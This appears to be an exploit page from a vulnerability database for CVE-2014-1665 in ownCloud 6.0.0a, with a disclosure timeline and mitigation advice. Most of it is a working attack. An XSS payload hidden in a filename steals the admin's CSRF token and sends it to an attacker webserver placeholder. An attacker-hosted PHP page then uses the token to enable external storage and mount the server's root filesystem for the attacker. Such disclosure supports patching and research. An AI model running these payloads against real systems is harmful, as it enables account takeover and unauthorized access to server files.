| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| ownCloud 6.0.0a - Multiple Vulnerabilities | 5 Feb 201400:00 | – | zdt | |
| ownCloud Cross-Site Scripting Vulnerability (CNVD-2018-08527) | 8 Apr 201800:00 | – | cnvd | |
| CVE-2014-1665 | 20 Mar 201821:00 | – | cve | |
| CVE-2014-1665 | 20 Mar 201821:00 | – | cvelist | |
| EUVD-2014-1739 | 7 Oct 202500:30 | – | euvd | |
| ownCloud 6.0.0a - Multiple Vulnerabilities | 5 Feb 201400:00 | – | exploitpack | |
| CVE-2014-1665 | 20 Mar 201821:29 | – | nvd | |
| ownCloud XSS and CSRF Protection Bypass Vulnerabilities (Mar 2018) - Windows | 23 Mar 201800:00 | – | openvas | |
| ownCloud XSS and CSRF Protection Bypass Vulnerabilities (Mar 2018) - Linux | 23 Mar 201800:00 | – | openvas | |
| UBUNTU-CVE-2014-1665 | 20 Mar 201821:29 | – | osv |
# Exploit Title: ownCloud 6.0.0a File Deletion XSS and CSRF Protection Bypass
# Vendor Homepage: www.ownCloud.org
# OwnCloud Version: 6.0.0a
# Browsers tested: Iceweasel 22.0; Internet Explorer 11;
# Server: Debian. Default LAMP set-up.
# Exploit Author: James Sibley (absane)
# Blog: http://blog.noobroot.com
# Discovery date: December 12th, 2013
# Vendor notified: December 12th, 2013
# Vendor fixed: January 22th, 2014
# CVE assignment: CVE-2014-1665
A malicious ownCloud user can upload a file with JavaScript code in the filename, share it, and cause a XSS attack when the victim tries to either view the contents of the file or delete the file.
If the victim is an ownCloud administrator, an attacker can force the mounting of the webserver's local file system, leading to unauthorized access to server resources and potentially shell access.
=======================
=Proof of Concept.....=
=======================
1) Create a file named <img src=x onerror=alert(0);>.txt (on a Linux machine)
2) Upload it to OwnCloud by clicking on the Upload button (up arrow next to "new") on the Web UI.
3) Share the file with the victim.
4) When the victim sees the shared file in their "Shared" directory, they can:
a) View the contents of the file within OwnCloud, or
b) become suspicious of the file and attempt to delete it.
Both a) and b) options will result in Javascript being executed in the victim's web browser.
=======================
=Exploit..............=
=======================
** **
** NOTE: Replace [ATTACKER'S WEBSERVER] with the attacker's domain/IP. **
** NOTE: Replace [ATTACKER] with the attacker's account on ownCloud. **
** NOTE: Replace [VICTIM] with the victim's ownCloud domain/IP. **
** **
** Filename (share a malicious file with this name):
<img src=x onerror="var z=document.getElementsByTagName('head')[0].getAttribute('data-requesttoken');
document.location='http://[ATTACKER'S WEBSERVER]/ownCloudhack.php?rt='+z";>
** Code (ownCloudhack.php):
<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>OwnCloud 6.0.0a XSS and CSRF Protection Bypass</title>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
</head>
<body>
<span id="container"></span>
<form id="form1">
<input type="hidden" name="mountPoint" value="LOL">
<input type="hidden" name="class" value="\OC\Files\Storage\Local">
<input type="hidden" name="classOptions[datadir]" value="/">
<input type="hidden" name="mountType" value="user">
<input type="hidden" name="applicable" value="[ATTACKER]">
<input type="hidden" name="isPersonal" value="false">
<?php echo '<input type="hidden" name="requesttoken" value="'.$_GET["rt"].'">' ?>
</form>
<script>
$('#form1').submit(function(event) {
event.preventDefault();
$.ajax({
type: 'POST',
url: 'http://[VICTIM]/index.php/apps/files_external/ajax/addMountPoint.php',
data: $(this).serialize(),
xhrFields: {
withCredentials: true
},
dataType: 'json',
});
});
</script>
<form id="form2">
<input type="hidden" name="appid" value="files_external">
<?php echo '<input type="hidden" name="requesttoken" value="'.$_GET["rt"].'">' ?>
</form>
<script>
$('#form2').submit(function(event) {
event.preventDefault();
$.ajax({
type: 'POST',
url: 'http://[VICTIM]/index.php/settings/ajax/enableapp.php',
data: $(this).serialize(),
xhrFields: {
withCredentials: true
},
dataType: 'json',
});
});
function ext() {
$('#form2').submit();
$("#container").text("Enabling External Storage...");
};
function mount() {
$('#form1').submit();
$("#container").text("Mounting the root filesystem...");
};
function redirect() {
window.location.href = 'http://[VICTIM]/';
$("#container").text("Redirecting back home ;)");
};
setTimeout(function() {ext();}, 0);
setTimeout(function() {mount();}, 5000);
setTimeout(function() {redirect();}, 5500);
</script>
</body>
</html>
=======================
=Mitigation...........=
=======================
Upgrade to ownCloud 6.0.1 or greater.
If upgrading is not an option, then the file can be removed by either
1) manually removing the file from the disk via command line interface, or
2) first renaming the file to something else and then deleting the file.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation